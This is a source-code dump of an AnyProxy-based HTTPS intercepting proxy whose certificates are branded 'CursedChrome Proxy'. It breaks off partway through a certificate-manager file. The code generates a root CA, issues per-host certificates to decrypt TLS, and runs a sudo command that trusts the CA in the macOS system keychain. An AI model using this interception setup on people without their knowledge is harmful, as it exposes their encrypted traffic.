12 | [download-image]: https://img.shields.io/npm/dm/anyproxy.svg?style=flat-square
13 | [download-url]: https://npmjs.org/package/anyproxy
14 |
15 | AnyProxy is A fully configurable HTTP/HTTPS proxy in NodeJS.
16 |
17 | Home page : [AnyProxy.io](http://anyproxy.io)
18 |
19 | Issue: https://github.com/alibaba/anyproxy/issues
20 |
21 | AnyProxy是一个基于NodeJS的,可供插件配置的HTTP/HTTPS代理服务器。
22 |
23 | 主页:[AnyProxy.io](http://anyproxy.io),访问可能需要稳定的国际网络环境
24 |
25 | 
26 |
27 | ----------------
28 |
29 | Legacy doc of version 3.x : https://github.com/alibaba/anyproxy/wiki/3.x-docs
--------------------------------------------------------------------------------
/anyproxy/bin/anyproxy:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env node
2 |
3 | 'use strict';
4 |
5 | const program = require('commander'),
6 | color = require('colorful'),
7 | co = require('co'),
8 | packageInfo = require('../package.json'),
9 | util = require('../lib/util'),
10 | rootCACheck = require('./rootCACheck'),
11 | startServer = require('./startServer'),
12 | logUtil = require('../lib/log');
13 |
14 | program
15 | .version(packageInfo.version)
16 | .option('-p, --port [value]', 'proxy port, 8001 for default')
17 | .option('-w, --web [value]', 'web GUI port, 8002 for default')
18 | .option('-r, --rule [value]', 'path for rule file,')
19 | .option('-l, --throttle [value]', 'throttle speed in kb/s (kbyte / sec)')
20 | .option('-i, --intercept', 'intercept(decrypt) https requests when root CA exists')
21 | .option('-s, --silent', 'do not print anything into terminal')
22 | .option('-c, --clear', 'clear all the certificates and temp files')
23 | .option('--ws-intercept', 'intercept websocket')
24 | .option('--ignore-unauthorized-ssl', 'ignore all ssl error')
25 | .parse(process.argv);
26 |
27 | if (program.clear) {
28 | require('../lib/certMgr').clearCerts(() => {
29 | util.deleteFolderContentsRecursive(util.getAnyProxyPath('cache'));
30 | console.log(color.green('done !'));
31 | process.exit(0);
32 | });
33 | } else if (program.root) {
34 | require('../lib/certMgr').generateRootCA(() => {
35 | process.exit(0);
36 | });
37 | } else {
38 | co(function *() {
39 | if (program.silent) {
40 | logUtil.setPrintStatus(false);
41 | }
42 |
43 | if (program.intercept) {
44 | try {
45 | yield rootCACheck();
46 | } catch (e) {
47 | console.error(e);
48 | }
49 | }
50 |
51 | return startServer(program);
52 | })
53 | }
54 |
55 |
--------------------------------------------------------------------------------
/anyproxy/bin/anyproxy-ca:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env node
2 |
3 | 'use strict'
4 |
5 | // exist-false, trusted-false : create CA
6 | // exist-true, trusted-false : trust CA
7 | // exist-true, trusted-true : all things done
8 | const program = require('commander');
9 | const color = require('colorful');
10 | const certMgr = require('../lib/certMgr');
11 | const AnyProxy = require('../proxy');
12 | const exec = require('child_process').exec;
13 | const co = require('co');
14 | const path = require('path');
15 | const inquirer = require('inquirer');
16 |
17 | program
18 | .option('-c, --clear', 'clear all the tmp certificates and root CA')
19 | .option('-g, --generate', 'generate a new rootCA')
20 | .parse(process.argv);
21 |
22 | function openFolderOfFile(filePath) {
23 | const isWin = /^win/.test(process.platform);
24 | if (isWin) {
25 | exec('start .', { cwd: path.dirname(filePath) });
26 | } else {
27 | exec(`open -R ${filePath}`);
28 | }
29 | }
30 |
31 | function guideToGenrateCA() {
32 | AnyProxy.utils.certMgr.generateRootCA((error, keyPath, crtPath) => {
33 | if (!error) {
34 | const certDir = path.dirname(keyPath);
35 | console.log(`The cert is generated at ${certDir}. Please trust the ${color.bold('rootCA.crt')}.`);
36 | // TODO: console.log('guide to install');
37 | openFolderOfFile(crtPath);
38 | } else {
39 | console.error('failed to generate rootCA', error);
40 | }
41 | });
42 | }
43 |
44 | function guideToTrustCA() {
45 | const certPath = AnyProxy.utils.certMgr.getRootCAFilePath();
46 | if (certPath) {
47 | // TODO: console.log('guide to install');
48 | openFolderOfFile(certPath);
49 | } else {
50 | console.error('failed to get cert path');
51 | }
52 | }
53 |
54 | if (program.clear) {
55 | AnyProxy.utils.certMgr.clearCerts(() => {
56 | console.log(color.green('done !'));
57 | });
58 | } else if (program.generate) {
59 | guideToGenrateCA();
60 | } else {
61 | console.log('detecting CA status...');
62 | co(certMgr.getCAStatus)
63 | .then(status => {
64 | if (!status.exist) {
65 | console.log('AnyProxy CA does not exist.');
66 | const questions = [{
67 | type: 'confirm',
68 | name: 'ifCreate',
69 | message: 'Would you like to generate one ?',
70 | default: true
71 | }];
72 | inquirer.prompt(questions).then(answers => {
73 | if (answers.ifCreate) {
74 | guideToGenrateCA();
75 | }
76 | });
77 | } else if (!status.trusted) {
78 | if (/^win/.test(process.platform)) {
79 | console.log('AnyProxy CA exists, make sure it has been trusted');
80 | } else {
81 | console.log('AnyProxy CA exists, but not be trusted');
82 | const questions = [{
83 | type: 'confirm',
84 | name: 'ifGotoTrust',
85 | message: 'Would you like to open the folder and trust it ?',
86 | default: true
87 | }];
88 | inquirer.prompt(questions).then(answers => {
89 | if (answers.ifGotoTrust) {
90 | guideToTrustCA();
91 | }
92 | });
93 | }
94 | // AnyProxy.utils.certMgr.clearCerts()
95 | } else {
96 | console.log(color.green('AnyProxy CA has already been trusted'));
97 | }
98 | })
99 | .catch(e => {
100 | console.log(e);
101 | })
102 | }
103 |
--------------------------------------------------------------------------------
/anyproxy/bin/rootCACheck.js:
--------------------------------------------------------------------------------
1 | /**
2 | * check if root CA exists and installed
3 | * will prompt to generate when needed
4 | */
5 |
6 | const thunkify = require('thunkify');
7 | const AnyProxy = require('../proxy');
8 | const logUtil = require('../lib/log');
9 |
10 | const certMgr = AnyProxy.utils.certMgr;
11 |
12 | function checkRootCAExists() {
13 | return certMgr.isRootCAFileExists();
14 | }
15 |
16 | module.exports = function *() {
17 | try {
18 | if (!checkRootCAExists()) {
19 | logUtil.warn('Missing root CA, generating now');
20 | yield thunkify(certMgr.generateRootCA)();
21 | yield certMgr.trustRootCA();
22 | } else {
23 | const isCATrusted = yield thunkify(certMgr.ifRootCATrusted)();
24 | if (!isCATrusted) {
25 | logUtil.warn('ROOT CA NOT INSTALLED YET');
26 | yield certMgr.trustRootCA();
27 | }
28 | }
29 | } catch (e) {
30 | console.error(e);
31 | }
32 | };
33 |
34 |
--------------------------------------------------------------------------------
/anyproxy/bin/startServer.js:
--------------------------------------------------------------------------------
1 | /**
2 | * start the AnyProxy server
3 | */
4 |
5 | const ruleLoader = require('../lib/ruleLoader');
6 | const logUtil = require('../lib/log');
7 | const AnyProxy = require('../proxy');
8 |
9 | module.exports = function startServer(program) {
10 | let proxyServer;
11 | // load rule module
12 | new Promise((resolve, reject) => {
13 | if (program.rule) {
14 | resolve(ruleLoader.requireModule(program.rule));
15 | } else {
16 | resolve(null);
17 | }
18 | })
19 | .catch(e => {
20 | logUtil.printLog('Failed to load rule file', logUtil.T_ERR);
21 | logUtil.printLog(e, logUtil.T_ERR);
22 | process.exit();
23 | })
24 |
25 | //start proxy
26 | .then(ruleModule => {
27 | proxyServer = new AnyProxy.ProxyServer({
28 | type: 'http',
29 | port: program.port || 8001,
30 | throttle: program.throttle,
31 | rule: ruleModule,
32 | webInterface: {
33 | enable: true,
34 | webPort: program.web,
35 | },
36 | wsIntercept: program.wsIntercept,
37 | forceProxyHttps: program.intercept,
38 | dangerouslyIgnoreUnauthorized: !!program.ignoreUnauthorizedSsl,
39 | silent: program.silent
40 | });
41 | // proxyServer.on('ready', () => {});
42 | proxyServer.start();
43 | })
44 | .catch(e => {
45 | logUtil.printLog(e, logUtil.T_ERR);
46 | if (e && e.code) {
47 | logUtil.printLog('code ' + e.code, logUtil.T_ERR);
48 | }
49 | logUtil.printLog(e.stack, logUtil.T_ERR);
50 | });
51 |
52 |
53 | process.on('exit', (code) => {
54 | if (code > 0) {
55 | logUtil.printLog('AnyProxy is about to exit with code: ' + code, logUtil.T_ERR);
56 | }
57 |
58 | process.exit();
59 | });
60 |
61 | //exit cause ctrl+c
62 | process.on('SIGINT', () => {
63 | try {
64 | proxyServer && proxyServer.close();
65 | } catch (e) {
66 | console.error(e);
67 | }
68 | process.exit();
69 | });
70 |
71 | process.on('uncaughtException', (err) => {
72 | let errorTipText = 'got an uncaught exception, is there anything goes wrong in your rule file ?\n';
73 | try {
74 | if (err && err.stack) {
75 | errorTipText += err.stack;
76 | } else {
77 | errorTipText += err;
78 | }
79 | } catch (e) { }
80 | logUtil.printLog(errorTipText, logUtil.T_ERR);
81 | try {
82 | proxyServer && proxyServer.close();
83 | } catch (e) { }
84 | process.exit();
85 | });
86 | }
87 |
--------------------------------------------------------------------------------
/anyproxy/lib/certMgr.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | const EasyCert = require('./node-easy-cert/index.js');
4 | const co = require('co');
5 | const os = require('os');
6 | const inquirer = require('inquirer');
7 |
8 | const util = require('./util');
9 | const logUtil = require('./log');
10 |
11 | const options = {
12 | rootDirPath: util.getAnyProxyPath('certificates'),
13 | inMemory: false,
14 | defaultCertAttrs: [
15 | { name: 'countryName', value: 'US' },
16 | { name: 'organizationName', value: 'CursedChrome Proxy' },
17 | { shortName: 'ST', value: 'CA' },
18 | { shortName: 'OU', value: 'CursedChrome Browser Proxy' }
19 | ]
20 | };
21 |
22 | const easyCert = new EasyCert(options);
23 | const crtMgr = util.merge({}, easyCert);
24 |
25 | // rename function
26 | crtMgr.ifRootCAFileExists = easyCert.isRootCAFileExists;
27 |
28 | crtMgr.generateRootCA = function (cb) {
29 | doGenerate(false);
30 |
31 | // set default common name of the cert
32 | function doGenerate(overwrite) {
33 | const rootOptions = {
34 | commonName: 'CursedChrome Proxy',
35 | overwrite: !!overwrite
36 | };
37 |
38 | easyCert.generateRootCA(rootOptions, (error, keyPath, crtPath) => {
39 | cb(error, keyPath, crtPath);
40 | });
41 | }
42 | };
43 |
44 | crtMgr.getCAStatus = function *() {
45 | return co(function *() {
46 | const result = {
47 | exist: false,
48 | };
49 | const ifExist = easyCert.isRootCAFileExists();
50 | if (!ifExist) {
51 | return result;
52 | } else {
53 | result.exist = true;
54 | if (!/^win/.test(process.platform)) {
55 | result.trusted = yield easyCert.ifRootCATrusted;
56 | }
57 | return result;
58 | }
59 | });
60 | }
61 |
62 | /**
63 | * trust the root ca by command
64 | */
65 | crtMgr.trustRootCA = function *() {
66 | const platform = os.platform();
67 | const rootCAPath = crtMgr.getRootCAFilePath();
68 | const trustInquiry = [
69 | {
70 | type: 'list',
71 | name: 'trustCA',
72 | message: 'The rootCA is not trusted yet, install it to the trust store now?',
73 | choices: ['Yes', "No, I'll do it myself"]
74 | }
75 | ];
76 |
77 | if (platform === 'darwin') {
78 | const answer = yield inquirer.prompt(trustInquiry);
79 | if (answer.trustCA === 'Yes') {
80 | logUtil.info('About to trust the root CA, this may requires your password');
81 | // https://ss64.com/osx/security-cert.html
82 | const result = util.execScriptSync(`sudo security add-trusted-cert -d -k /Library/Keychains/System.keychain ${rootCAPath}`);
83 | if (result.status === 0) {
84 | logUtil.info('Root CA install, you are ready to intercept the https now');
85 | } else {
86 | console.error(result);
87 | logUtil.info('Failed to trust the root CA, please trust it manually');
88 | util.guideToHomePage();
89 | }
90 | } else {
91 | logUtil.info('Please trust the root CA manually so https interception works');
92 | util.guideToHomePage();
93 | }
94 | }
95 |
96 |
97 | if (/^win/.test(process.platform)) {
98 | logUtil.info('You can install the root CA manually.');
99 | }
100 | logUtil.info('The root CA file path is: ' + crtMgr.getRootCAFilePath());
101 | }
102 |
103 | module.exports = crtMgr;
104 |
--------------------------------------------------------------------------------
/anyproxy/lib/configUtil.js:
--------------------------------------------------------------------------------
1 | /**
2 | * a util to set and get all configuable constant
3 | *
4 | */
5 | const path = require('path');
6 |
7 | const USER_HOME = process.env.HOME || process.env.USERPROFILE;
8 | const DEFAULT_ANYPROXY_HOME = path.join(USER_HOME, '/.anyproxy/');
9 |
10 | /**
11 | * return AnyProxy's home path
12 | */
13 | module.exports.getAnyProxyHome = function () {
14 | const ENV_ANYPROXY_HOME = process.env.ANYPROXY_HOME || '';
15 | return ENV_ANYPROXY_HOME || DEFAULT_ANYPROXY_HOME;
16 | }
17 |
--------------------------------------------------------------------------------
/anyproxy/lib/httpsServerMgr.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | //manage https servers
4 | const async = require('async'),
5 | https = require('https'),
6 | tls = require('tls'),
7 | crypto = require('crypto'),
8 | color = require('colorful'),
9 | certMgr = require('./certMgr'),
10 | logUtil = require('./log'),
11 | util = require('./util'),
12 | wsServerMgr = require('./wsServerMgr'),
13 | co = require('co'),
14 | constants = require('constants'),
15 | asyncTask = require('async-task-mgr');
16 |
17 | const createSecureContext = tls.createSecureContext || crypto.createSecureContext;
18 | //using sni to avoid multiple ports
19 | function SNIPrepareCert(serverName, SNICallback) {
20 | let keyContent,
21 | crtContent,
22 | ctx;
23 |
24 | async.series([
25 | (callback) => {
26 | certMgr.getCertificate(serverName, (err, key, crt) => {
27 | if (err) {
28 | callback(err);
29 | } else {
30 | keyContent = key;
31 | crtContent = crt;
32 | callback();
33 | }
34 | });
35 | },
36 | (callback) => {
37 | try {
38 | ctx = createSecureContext({
39 | key: keyContent,
40 | cert: crtContent
41 | });
42 | callback();
43 | } catch (e) {
44 | callback(e);
45 | }
46 | }
47 | ], (err) => {
48 | if (!err) {
49 | const tipText = 'proxy server for __NAME established'.replace('__NAME', serverName);
50 | logUtil.printLog(color.yellow(color.bold('[internal https]')) + color.yellow(tipText));
51 | SNICallback(null, ctx);
52 | } else {
53 | logUtil.printLog('err occurred when prepare certs for SNI - ' + err, logUtil.T_ERR);
54 | logUtil.printLog('err occurred when prepare certs for SNI - ' + err.stack, logUtil.T_ERR);
55 | }
56 | });
57 | }
58 |
59 | //config.port - port to start https server
60 | //config.handler - request handler
61 |
62 |
63 | /**
64 | * Create an https server
65 | *
66 | * @param {object} config
67 | * @param {number} config.port
68 | * @param {function} config.handler
69 | */
70 | function createHttpsServer(config) {
71 | if (!config || !config.port || !config.handler) {
72 | throw (new Error('please assign a port'));
73 | }
74 |
75 | return new Promise((resolve) => {
76 | certMgr.getCertificate('anyproxy_internal_https_server', (err, keyContent, crtContent) => {
77 | const server = https.createServer({
78 | secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1,
79 | SNICallback: SNIPrepareCert,
80 | key: keyContent,
81 | cert: crtContent
82 | }, config.handler).listen(config.port);
83 | resolve(server);
84 | });
85 | });
86 | }
87 |
88 | /**
89 | * create an https server that serving on IP address
90 | * @param @required {object} config
91 | * @param @required {string} config.ip the IP address of the server
92 | * @param @required {number} config.port the port to listen on
93 | * @param @required {function} handler the handler of each connect
94 | */
95 | function createIPHttpsServer(config) {
96 | if (!config || !config.port || !config.handler) {
97 | throw (new Error('please assign a port'));
98 | }
99 |
100 | if (!config.ip) {
101 | throw (new Error('please assign an IP to create the https server'));
102 | }
103 |
104 | return new Promise((resolve) => {
105 | certMgr.getCertificate(config.ip, (err, keyContent, crtContent) => {
106 | const server = https.createServer({
107 | secureOptions: constants.SSL_OP_NO_SSLv3 || constants.SSL_OP_NO_TLSv1,
108 | key: keyContent,
109 | cert: crtContent
110 | }, config.handler).listen(config.port);
111 |
112 | resolve(server);
113 | });
114 | });
115 | }
116 |
117 | /**
118 | *
119 | *
120 | * @class httpsServerMgr
121 | * @param {object} config
122 | * @param {function} config.handler handler to deal https request
123 | *
124 | */
125 | class httpsServerMgr {
126 | constructor(config) {
127 | if (!config || !config.handler) {
128 | throw new Error('handler is required');
129 | }
130 | this.instanceDefaultHost = '127.0.0.1';
131 | this.httpsAsyncTask = new asyncTask();
132 | this.handler = config.handler;
133 | this.wsHandler = config.wsHandler
134 | }
135 |
136 | getSharedHttpsServer(hostname) {
137 | // ip address will have a unique name
138 | const finalHost = util.isIpDomain(hostname) ? hostname : this.instanceDefaultHost;
139 |
140 | const self = this;
141 | function prepareServer(callback) {
142 | let instancePort;
143 | co(util.getFreePort)
144 | .then(co.wrap(function *(port) {
145 | instancePort = port;
146 | let httpsServer = null;
147 |
148 | // if ip address passed in, will create an IP http server
149 | if (util.isIpDomain(hostname)) {
150 | httpsServer = yield createIPHttpsServer({
151 | ip: hostname,
152 | port,
153 | handler: self.handler
154 | });
155 | } else {
156 | httpsServer = yield createHttpsServer({
157 | port,
158 | handler: self.handler
159 | });
160 | }
161 |
162 | wsServerMgr.getWsServer({
163 | server: httpsServer,
164 | connHandler: self.wsHandler
165 | });
166 |
167 | httpsServer.on('upgrade', (req, cltSocket, head) => {
168 | logUtil.debug('will let WebSocket server to handle the upgrade event');
169 | });
170 |
171 | const result = {
172 | host: finalHost,
173 | port: instancePort,
174 | };
175 | callback(null, result);
176 | return result;
177 | }))
178 | .catch(e => {
179 | callback(e);
180 | });
181 | }
182 |
183 | return new Promise((resolve, reject) => {
184 | // each ip address will gain a unit task name,
185 | // while the domain address will share a common task name
186 | self.httpsAsyncTask.addTask(`createHttpsServer-${finalHost}`, prepareServer, (error, serverInfo) => {
187 | if (error) {
188 | reject(error);
189 | } else {
190 | resolve(serverInfo);
191 | }
192 | });
193 | });
194 | }
195 | }
196 |
197 | module.exports = httpsServerMgr;
198 |
--------------------------------------------------------------------------------
/anyproxy/lib/log.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | const color = require('colorful');
4 | const util = require('./util');
5 |
6 | let ifPrint = true;
7 | let logLevel = 0;
8 | const LogLevelMap = {
9 | tip: 0,
10 | system_error: 1,
11 | rule_error: 2,
12 | warn: 3,
13 | debug: 4,
14 | };
15 |
16 | function setPrintStatus(status) {
17 | ifPrint = !!status;
18 | }
19 |
20 | function setLogLevel(level) {
21 | logLevel = parseInt(level, 10);
22 | }
23 |
24 | function printLog(content, type) {
25 | if (!ifPrint) {
26 | return;
27 | }
28 |
29 | const timeString = util.formatDate(new Date(), 'YYYY-MM-DD hh:mm:ss');
30 | switch (type) {
31 | case LogLevelMap.tip: {
32 | if (logLevel > 0) {
33 | return;
34 | }
35 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
36 | break;
37 | }
38 |
39 | case LogLevelMap.system_error: {
40 | if (logLevel > 1) {
41 | return;
42 | }
43 | console.error(color.red(`[AnyProxy ERROR][${timeString}]: ` + content));
44 | break;
45 | }
46 |
47 | case LogLevelMap.rule_error: {
48 | if (logLevel > 2) {
49 | return;
50 | }
51 |
52 | console.error(color.red(`[AnyProxy RULE_ERROR][${timeString}]: ` + content));
53 | break;
54 | }
55 |
56 | case LogLevelMap.warn: {
57 | if (logLevel > 3) {
58 | return;
59 | }
60 |
61 | console.error(color.yellow(`[AnyProxy WARN][${timeString}]: ` + content));
62 | break;
63 | }
64 |
65 | case LogLevelMap.debug: {
66 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
67 | return;
68 | }
69 |
70 | default : {
71 | console.log(color.cyan(`[AnyProxy Log][${timeString}]: ` + content));
72 | break;
73 | }
74 | }
75 | }
76 |
77 | module.exports.printLog = printLog;
78 |
79 | module.exports.debug = (content) => {
80 | printLog(content, LogLevelMap.debug);
81 | };
82 |
83 | module.exports.info = (content) => {
84 | printLog(content, LogLevelMap.tip);
85 | };
86 |
87 | module.exports.warn = (content) => {
88 | printLog(content, LogLevelMap.warn);
89 | };
90 |
91 | module.exports.error = (content) => {
92 | printLog(content, LogLevelMap.system_error);
93 | };
94 |
95 | module.exports.ruleError = (content) => {
96 | printLog(content, LogLevelMap.rule_error);
97 | };
98 |
99 | module.exports.setPrintStatus = setPrintStatus;
100 | module.exports.setLogLevel = setLogLevel;
101 | module.exports.T_TIP = LogLevelMap.tip;
102 | module.exports.T_ERR = LogLevelMap.system_error;
103 | module.exports.T_RULE_ERROR = LogLevelMap.rule_error;
104 | module.exports.T_WARN = LogLevelMap.warn;
105 | module.exports.T_DEBUG = LogLevelMap.debug;
106 |
--------------------------------------------------------------------------------
/anyproxy/lib/node-easy-cert/certGenerator.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | const forge = require('node-forge');
4 | const Util = require('./util');
5 |
6 | let defaultAttrs = [
7 | { name: 'countryName', value: 'CN' },
8 | { name: 'organizationName', value: 'EasyCert' },
9 | { shortName: 'ST', value: 'SH' },
10 | { shortName: 'OU', value: 'EasyCert SSL' }
11 | ];
12 |
13 | /**
14 | * different domain format needs different SAN
15 | *
16 | */
17 | function getExtensionSAN(domain = '') {
18 | const isIpDomain = Util.isIpDomain(domain);
19 | if (isIpDomain) {
20 | return {
21 | name: 'subjectAltName',
22 | altNames: [{ type: 7, ip: domain }]
23 | };
24 | } else {
25 | return {
26 | name: 'subjectAltName',
27 | altNames: [{ type: 2, value: domain }]
28 | };
29 | }
30 | }
31 |
32 | function getKeysAndCert(serialNumber) {
33 | const keys = forge.pki.rsa.generateKeyPair(2048);
34 | const cert = forge.pki.createCertificate();
35 | cert.publicKey = keys.publicKey;
36 | cert.serialNumber = (Math.floor(Math.random() * 100000) + '');
37 | console.log(`serial #${cert.serialNumber}`)
38 | var now = Date.now();
39 | // compatible with apple's updated cert policy: https://support.apple.com/en-us/HT210176
40 | cert.validity.notBefore = new Date(now - 24 * 60 * 60 * 1000); // 1 day before
41 | cert.validity.notAfter = new Date(now + 824 * 24 * 60 * 60 * 1000); // 824 days after
42 | return {
43 | keys,
44 | cert
45 | };
46 | }
47 |
48 | function generateRootCA(commonName) {
49 | const keysAndCert = getKeysAndCert();
50 | const keys = keysAndCert.keys;
51 | const cert = keysAndCert.cert;
52 |
53 | commonName = commonName || 'CertManager';
54 |
55 | const attrs = defaultAttrs.concat([
56 | {
57 | name: 'commonName',
58 | value: commonName
59 | }
60 | ]);
61 | cert.setSubject(attrs);
62 | cert.setIssuer(attrs);
63 | cert.setExtensions([
64 | { name: 'basicConstraints', cA: true },
65 | // { name: 'keyUsage', keyCertSign: true, digitalSignature: true, nonRepudiation: true, keyEncipherment: true, dataEncipherment: true },
66 | // { name: 'extKeyUsage', serverAuth: true, clientAuth: true, codeSigning: true, emailProtection: true, timeStamping: true },
67 | // { name: 'nsCertType', client: true, server: true, email: true, objsign: true, sslCA: true, emailCA: true, objCA: true },
68 | // { name: 'subjectKeyIdentifier' }
69 | ]);
70 |
71 | cert.sign(keys.privateKey, forge.md.sha256.create());
72 |
73 | return {
74 | privateKey: forge.pki.privateKeyToPem(keys.privateKey),
75 | publicKey: forge.pki.publicKeyToPem(keys.publicKey),
76 | certificate: forge.pki.certificateToPem(cert)
77 | };
78 | }
79 |
80 | function generateCertsForHostname(domain, rootCAConfig) {
81 | // generate a serialNumber for domain
82 | const md = forge.md.md5.create();
83 | md.update(domain);
84 |
85 | const keysAndCert = getKeysAndCert(md.digest().toHex());
86 | const keys = keysAndCert.keys;
87 | const cert = keysAndCert.cert;
88 |
89 | const caCert = forge.pki.certificateFromPem(rootCAConfig.cert);
90 | const caKey = forge.pki.privateKeyFromPem(rootCAConfig.key);
91 |
92 | // issuer from CA
93 | cert.setIssuer(caCert.subject.attributes);
94 |
95 | const attrs = defaultAttrs.concat([
96 | {
97 | name: 'commonName',
98 | value: domain
99 | }
100 | ]);
101 |
102 | const extensions = [
103 | { name: 'basicConstraints', cA: false },
104 | getExtensionSAN(domain)
105 | ];
106 |
107 | cert.setSubject(attrs);
108 | cert.setExtensions(extensions);
109 |
110 | cert.sign(caKey, forge.md.sha256.create());
111 |
112 | return {
113 | privateKey: forge.pki.privateKeyToPem(keys.privateKey),
114 | publicKey: forge.pki.publicKeyToPem(keys.publicKey),
115 | certificate: forge.pki.certificateToPem(cert)
116 | };
117 | }
118 |
119 | // change the default attrs
120 | function setDefaultAttrs(attrs) {
121 | defaultAttrs = attrs;
122 | }
123 |
124 | module.exports.generateRootCA = generateRootCA;
125 | module.exports.generateCertsForHostname = generateCertsForHostname;
126 | module.exports.setDefaultAttrs = setDefaultAttrs;
127 |
--------------------------------------------------------------------------------
/anyproxy/lib/node-easy-cert/errorConstants.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Map all the error code here
3 | *
4 | */
5 |
6 | 'use strict';
7 |
8 | module.exports = {
9 | ROOT_CA_NOT_EXISTS: 'ROOT_CA_NOT_EXISTS', // root CA has not been generated yet
10 | ROOT_CA_EXISTED: 'ROOT_CA_EXISTED', // root CA was existed, be ware that it will be overwrited
11 | ROOT_CA_COMMON_NAME_UNSPECIFIED: 'ROOT_CA_COMMON_NAME_UNSPECIFIED' // commonName for rootCA is required
12 | };
13 |
--------------------------------------------------------------------------------
/anyproxy/lib/node-easy-cert/index.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | delete require.cache['./certGenerator'];
4 |
5 | const path = require('path'),
6 | fs = require('fs'),
7 | color = require('colorful'),
8 | certGenerator = require('./certGenerator'),
9 | util = require('./util'),
10 | Errors = require('./errorConstants'),
11 | https = require('https'),
12 | AsyncTask = require('async-task-mgr'),
13 | winCertUtil = require('./winCertUtil'),
14 | exec = require('child_process').exec;
15 |
16 | const DOMAIN_TO_VERIFY_HTTPS = 'localtest.me';
17 |
18 | function getPort() {
19 | return new Promise((resolve, reject) => {
20 | const server = require('net').createServer();
21 | server.unref();
22 | server.on('error', reject);
23 | server.listen(0, () => {
24 | const port = server.address().port;
25 | server.close(() => {
26 | resolve(port);
27 | });
28 | });
29 | });
30 | }
31 |
32 | function CertManager(options) {
33 | options = options || {};
34 | const rootDirName = util.getDefaultRootDirName();
35 | const rootDirPath = options.rootDirPath || path.join(util.getUserHome(), '/' + rootDirName + '/');
36 |
37 | if (options.defaultCertAttrs) {
38 | certGenerator.setDefaultAttrs(options.defaultCertAttrs);
39 | }
40 |
41 | const certDir = rootDirPath,
42 | rootCAcrtFilePath = path.join(certDir, 'rootCA.crt'),
43 | rootCAkeyFilePath = path.join(certDir, 'rootCA.key'),
44 | createCertTaskMgr = new AsyncTask();
45 | let cacheRootCACrtFileContent,
46 | cacheRootCAKeyFileContent;
47 | let rootCAExists = false;
48 |
49 | if (!fs.existsSync(certDir)) {
50 | try {
51 | fs.mkdirSync(certDir, '0777');
52 | } catch (e) {
53 | console.log('===========');
54 | console.log('failed to create cert dir ,please create one by yourself - ' + certDir);
55 | console.log('===========');
56 | }
57 | }
58 |
59 | function getCertificate(hostname, certCallback) {
60 | if (!_checkRootCA()) {
61 | console.log(color.yellow('please generate root CA before getting certificate for sub-domains'));
62 | certCallback && certCallback(Errors.ROOT_CA_NOT_EXISTS);
63 | return;
64 | }
65 | const keyFile = path.join(certDir, '__hostname.key'.replace(/__hostname/, hostname)),
66 | crtFile = path.join(certDir, '__hostname.crt'.replace(/__hostname/, hostname));
67 |
68 | if (!cacheRootCACrtFileContent || !cacheRootCAKeyFileContent) {
69 | cacheRootCACrtFileContent = fs.readFileSync(rootCAcrtFilePath, { encoding: 'utf8' });
70 | cacheRootCAKeyFileContent = fs.readFileSync(rootCAkeyFilePath, { encoding: 'utf8' });
71 | }
72 |
73 | createCertTaskMgr.addTask(hostname, (callback) => {
74 | if (!fs.existsSync(keyFile) || !fs.existsSync(crtFile)) {
75 | try {
76 | const result = certGenerator.generateCertsForHostname(hostname, {
77 | cert: cacheRootCACrtFileContent,
78 | key: cacheRootCAKeyFileContent
79 | });
80 | fs.writeFileSync(keyFile, result.privateKey);
81 | fs.writeFileSync(crtFile, result.certificate);
82 | callback(null, result.privateKey, result.certificate);
83 | } catch (e) {
84 | callback(e);
85 | }
86 | } else {
87 | callback(null, fs.readFileSync(keyFile), fs.readFileSync(crtFile));
88 | }
89 | }, (err, keyContent, crtContent) => {
90 | if (!err) {
91 | certCallback(null, keyContent, crtContent);
92 | } else {
93 | certCallback(err);
94 | }
95 | });
96 | }
97 |
98 | function clearCerts(cb) {
99 | util.deleteFolderContentsRecursive(certDir);
100 | cb && cb();
101 | }
102 |
103 | function isRootCAFileExists() {
104 | return (fs.existsSync(rootCAcrtFilePath) && fs.existsSync(rootCAkeyFilePath));
105 | }
106 |
107 | function generateRootCA(config, certCallback) {
108 | if (!config || !config.commonName) {
109 | console.error(color.red('The "config.commonName" for rootCA is required, please specify.'));
110 | certCallback(Errors.ROOT_CA_COMMON_NAME_UNSPECIFIED);
111 | return;
112 | }
113 |
114 | if (isRootCAFileExists()) {
115 | if (config.overwrite) {
116 | startGenerating(config.commonName, certCallback);
117 | } else {
118 | console.error(color.red('The rootCA exists already, if you want to overwrite it, please specify the "config.overwrite=true"'));
119 | certCallback(Errors.ROOT_CA_EXISTED);
120 | }
121 | } else {
122 | startGenerating(config.commonName, certCallback);
123 | }
124 |
125 | function startGenerating(commonName, cb) {
126 | // clear old certs
127 | clearCerts(() => {
128 | console.log(color.green('temp certs cleared'));
129 | try {
130 | const result = certGenerator.generateRootCA(commonName);
131 | fs.writeFileSync(rootCAkeyFilePath, result.privateKey);
132 | fs.writeFileSync(rootCAcrtFilePath, result.certificate);
133 |
134 | console.log(color.green('rootCA generated'));
135 | console.log(color.green(color.bold('PLEASE TRUST the rootCA.crt in ' + certDir)));
136 |
137 | cb && cb(null, rootCAkeyFilePath, rootCAcrtFilePath);
138 | } catch (e) {
139 | console.log(color.red(e));
140 | console.log(color.red(e.stack));
141 | console.log(color.red('fail to generate root CA'));
142 | cb && cb(e);
143 | }
144 | });
145 | }
146 | }
147 |
148 | function getRootCAFilePath() {
149 | return isRootCAFileExists() ? rootCAcrtFilePath : '';
150 | }
151 |
152 | function getRootDirPath() {
153 | return rootDirPath;
154 | }
155 |
156 | function _checkRootCA() {
157 | if (rootCAExists) {
158 | return true;
159 | }
160 |
161 | if (!isRootCAFileExists()) {
162 | console.log(color.red('can not find rootCA.crt or rootCA.key'));
163 | console.log(color.red('you may generate one'));
164 | return false;
165 | } else {
166 | rootCAExists = true;
167 | return true;
168 | }
169 | }
170 |
171 | function ifRootCATrusted(callback) {
172 | if (!isRootCAFileExists()) {
